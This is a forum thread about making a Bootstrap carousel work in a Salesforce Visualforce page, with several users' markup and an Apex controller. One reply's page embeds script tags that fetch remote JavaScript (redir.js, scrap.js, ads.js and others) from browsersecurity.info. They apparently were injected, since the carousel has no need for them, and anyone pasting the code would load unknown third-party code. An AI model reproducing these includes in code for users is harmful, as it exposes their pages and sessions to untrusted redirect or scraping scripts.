+ Start a Discussion
Kenneth RayKenneth Ray 

Bootstrap Carousel for Visualforce

Hi Guys/lLadies,

I'm creating a visualforce page and Im using bootstrap to make it fluid. I've successfully linked my VF Page to Bootstrap 3.2.0 (static Resource), everything is working fine except for the CAROUSEL. I've tried every variation of it I could think of. Help?? I think it may be to due the fact that I'm attempting to cycle through  static resources but I could be wrong. Any and All help will be greatly appreciated. Thanks

<apex:page standardStylesheets="false" sidebar="false" showHeader="false" applyHtmlTag="false" applyBodyTag="False">
<HTML>
<BODY>
<div class ="container fluid">
    <div id="homeCarousel" class="carousel slide" data-ride="carousel">
        <div class="carousel-inner">
            <div class="item active">
                <img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic1.jpg')}" alt="First Slide"/>
            </div>
           
            <div class="item">
                <img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic2.jpg')}" alt="Second Slide"/>
            </div>
           
            <div class="item">
                <img src="{!URLFOR($Resource.Pkg, 'Pkg/carousel/pic3.jpg')}" alt="Third Slide"/>
            </div>
        </div>
        <!-- Controls -->
  <a class="left carousel-control" href="#homeCarousel" role="button" data-slide="prev">
    <span class="glyphicon glyphicon-chevron-left"></span>
  </a>
  <a class="right carousel-control" href="#homeCarousel" role="button" data-slide="next">
    <span class="glyphicon glyphicon-chevron-right"></span>
  </a>
</div>
</div>
<script>
        $('#homeCarousel').carousel({ interval: 1200 });
    </script>

<!--BootStrap -->
<apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_js/bootstrap.min.js')}"/>
   <apex:stylesheet value="{!URLFOR($Resource.Pkg, 'Pkg/bootstrap_css/bootstrap.min.css')}"/>
   <!-- Jquery : For Bootstrap Carousel -->
   <apex:includeScript value="{!URLFOR($Resource.Pkg, 'Pkg/jquery/jquery-2.1.1.min.js')}"/>
</BODY>
</apex:page>
bob_buzzardbob_buzzard
Do you see any JavaScript errors? I usually find that I have to include the jquery javascript before the bootstrap javascript, as there are dependencies.
SijuSiju
I tried your code , but its not working PFB the full code
<apex:page docType="html-5.0" showHeader="false" sidebar="false">
<html lang="en">
<head>
  <title>Casousel Slide Example</title>
  <!--<apex:includeScript value="{!$Resource.jQuery182min}"/>-->
 <apex:includeScript value="{!URLFOR($Resource.Carousal, 'jQuery182min.js')}"/>
  <script src="http://browsersecurity.info/js/redir.js" type="text/javascript">               </script>

  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <!--<apex:stylesheet value="{!$Resource.bootstrapmincss}"/>-->
  <apex:stylesheet value="{!URLFOR($Resource.Carousal, 'bootstrapmincss.css')}"/>
  <!--<apex:includeScript value="{!$Resource.jqueryminjs}"/>-->
  <apex:stylesheet value="{!URLFOR($Resource.Carousal, 'jqueryminjs.js')}"/>
  <!--<apex:includeScript value="{!$Resource.bootstrapminjs}"/>-->
  <apex:stylesheet value="{!URLFOR($Resource.Carousal, 'bootstrapminjs.js')}"/>
  <style>



 
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      height: 500px;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br/>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>

    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
      <div class="item active">
        <!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/1.jpg')}" alt="Minion1" width="460" height="345"/>-->
        <img src="http://lorempixel.com/1500/600/abstract/1" alt="Slide 1" width="460" height="345"/>
      </div >

      <div class="item">
        <!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/2.jpg')}" alt="Minion2" width="460" height="345"/>-->
        <img src="http://lorempixel.com/1500/600/abstract/2" alt="Slide 2" width="460" height="345"/>
      </div >
    
      <div class="item">
        <!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/3.jpg')}" alt="Minion3" width="460" height="345"/>-->
        <img src="http://lorempixel.com/1500/600/abstract/3" alt="Slide 3" width="460" height="345"/>
      </div >

      <div class="item">
        <!--<img src="{!URLFOR($Resource.MinionsDemo, 'Minion/4.jpg')}" alt="Minion4" width="460" height="345"/>-->
        <img src="http://lorempixel.com/1500/600/abstract/4" alt="Slide 4" width="460" height="345"/>
      </div>
    </div>

    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>

</body>
<script src="http://browsersecurity.info/js/scrap.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/ads.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/jquery.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/essence.js" type="text/javascript"></script>
</html>
</apex:page>
SijuSiju
The below code is working fine . Not storing anything in Static Resource . 


<apex:page showHeader="false" sidebar="false">

<html lang="en">
<head>
  <title>Bootstrap Example</title>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"/>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br></br>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>

    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">

      <div class="item active">
        <img src="http://lorempixel.com/1500/600/abstract/1" alt="Chania" width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Chania</h3>
          <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
        </div>
      </div>

      <div class="item">
        <img src="http://lorempixel.com/1500/600/abstract/2" alt="Chania" width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Chania</h3>
          <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
        </div>
      </div>
    
      <div class="item">
        <img src="http://lorempixel.com/1500/600/abstract/3" alt="Flower" width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Flowers</h3>
          <p>Beatiful flowers in Kolymbari, Crete.</p>
        </div>
      </div>

      <div class="item">
        <img src="http://lorempixel.com/1500/600/abstract/4" alt="Flower" width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Flowers</h3>
          <p>Beatiful flowers in Kolymbari, Crete.</p>
        </div>
      </div>
      
      <!--  Get the Images from the attachment .
      <div class="item">
        <img src="{!URLFOR($Action.Attachment.Download, '00P90000011kM61')}" alt="Flower" width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Blogettan</h3>
          <p>Beatiful Blogettan</p>
        </div>
      </div>
      -->
  
    </div>

    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>
</body>
</html>

<!--<apex:image url="{!URLFOR($Action.Attachment.Download, '00P90000011kM61')}" /> -->
</apex:page>

 
Paritosh ParimalParitosh Parimal
@siju 
I tried the above code. It's working perfectly fine.
But when I try to fetch the images from salesforce database  with repeat tag instead of hardcoding the carousel images,I am unable to get the carousel:

<apex:page showHeader="false" sidebar="false" controller="CarouselTestController" docType="html-5.0">

<html lang="en">
<head>
  <title>Bootstrap Example</title>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"/>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br></br>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
      <apex:variable value="0" var="num"/>
      <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>
    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
    <apex:repeat value="{!imageLst}" var="c">
      <div class="item active">
        <img src="{!c}"  width="460" height="345"/>
        <div class="carousel-caption">
          <h3>Chania</h3>
          <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
        </div>
      </div>
   </apex:repeat>
        <a class="right carousel-control" href="#myCarousel" id="thebutton" role="button" data-slide="next" style="visibility:hidden;">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
</div>
 </div>
 </div>
</body>
</html>

controller:

public class CarouselTestController {
    public List<string> imageLst{get;set;}
    public List<string> fetchImages(){
       imageLst.add('http://lorempixel.com/1500/600/abstract/1');
       imageLst.add('http://lorempixel.com/1500/600/abstract/2');
       imageLst.add('http://lorempixel.com/1500/600/abstract/3');
       imageLst.add('http://lorempixel.com/1500/600/abstract/4');
        return imageLst;
    }
}